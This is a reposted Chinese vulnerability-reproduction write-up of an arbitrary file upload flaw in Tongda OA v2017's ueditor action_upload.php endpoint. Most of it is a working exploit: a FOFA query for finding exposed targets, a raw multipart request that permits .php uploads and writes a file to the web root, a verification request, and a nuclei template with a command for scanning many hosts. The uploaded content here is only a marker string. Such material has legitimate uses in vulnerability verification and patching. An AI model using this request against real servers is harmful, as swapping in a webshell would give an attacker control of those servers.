通达OA v2017 Action_upload任意文件上传漏洞

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现 通达OA v2017 Action_upload任意文件上传漏洞

0x01 阅读须知

0x02 漏洞描述

通达OA（OfficeAnywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。通达存在任意文件上传漏洞，攻击者可以通过指定接口上传任意文件，获取服务器管理权限。

0x03 漏洞复现

fofa：“通达-oa“

1.上传eee.php文件至网站根目录，内容为0xold6

POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1
Host: x.x.x.x:8082
User-Agent: Go-http-client/1.1
Content-Length: 880
Content-Type: multipart/form-data; boundary=---------------------------55719851240137822763221368724
X_requested_with: XMLHttpRequest
Accept-Encoding: gzip


-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="CONFIG[fileFieldName]"


ffff
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="CONFIG[fileMaxSize]"


1000000000
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="CONFIG[filePathFormat]"


eee
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]"


.php
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="ffff"; filename="test.php"
Content-Type: application/octet-stream


0xold6
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="mufile"


submit
-----------------------------55719851240137822763221368724--

2.访问eee.php，成功上传文件

GET /eee.php HTTP/1.1
Host: x.x.x.x:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=vm1hud5b14spa0ulldoa63njt2; KEY_RANDOMDATA=2342
Upgrade-Insecure-Requests: 1

3.编写nuclei脚本

nuclei命令(-u可改为-l批量验证)：
nuclei.exe -t tongdaOA_Action_upload.yaml -u http://x.x.x.x

脚本：
id: tongdaOA_Action_upload


info:
  name: TongdaOA Action_upload
  author: sm
  severity: critical
  tags: TongdaOA


requests:
  - raw:
      - |
        POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Go-http-client/1.1
        Content-Length: 880
        Content-Type: multipart/form-data; boundary=---------------------------55719851240137822763221368724
        X_requested_with: XMLHttpRequest
        Accept-Encoding: gzip


        -----------------------------55719851240137822763221368724
        Content-Disposition: form-data; name="CONFIG[fileFieldName]"


        ffff
        -----------------------------55719851240137822763221368724
        Content-Disposition: form-data; name="CONFIG[fileMaxSize]"


        1000000000
        -----------------------------55719851240137822763221368724
        Content-Disposition: form-data; name="CONFIG[filePathFormat]"


        eee
        -----------------------------55719851240137822763221368724
        Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]"


        .php
        -----------------------------55719851240137822763221368724
        Content-Disposition: form-data; name="ffff"; filename="test.php"
        Content-Type: application/octet-stream


        0xold6
        -----------------------------55719851240137822763221368724
        Content-Disposition: form-data; name="mufile"


        submit
        -----------------------------55719851240137822763221368724--
      - |
        GET /eee.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        DNT: 1
        Connection: close
        Cookie: PHPSESSID=vm1hud5b14spa0ulldoa63njt2; KEY_RANDOMDATA=2342
        Upgrade-Insecure-Requests: 1


    matchers:
      - type: word
        words:
          - "0xold6"
        part: body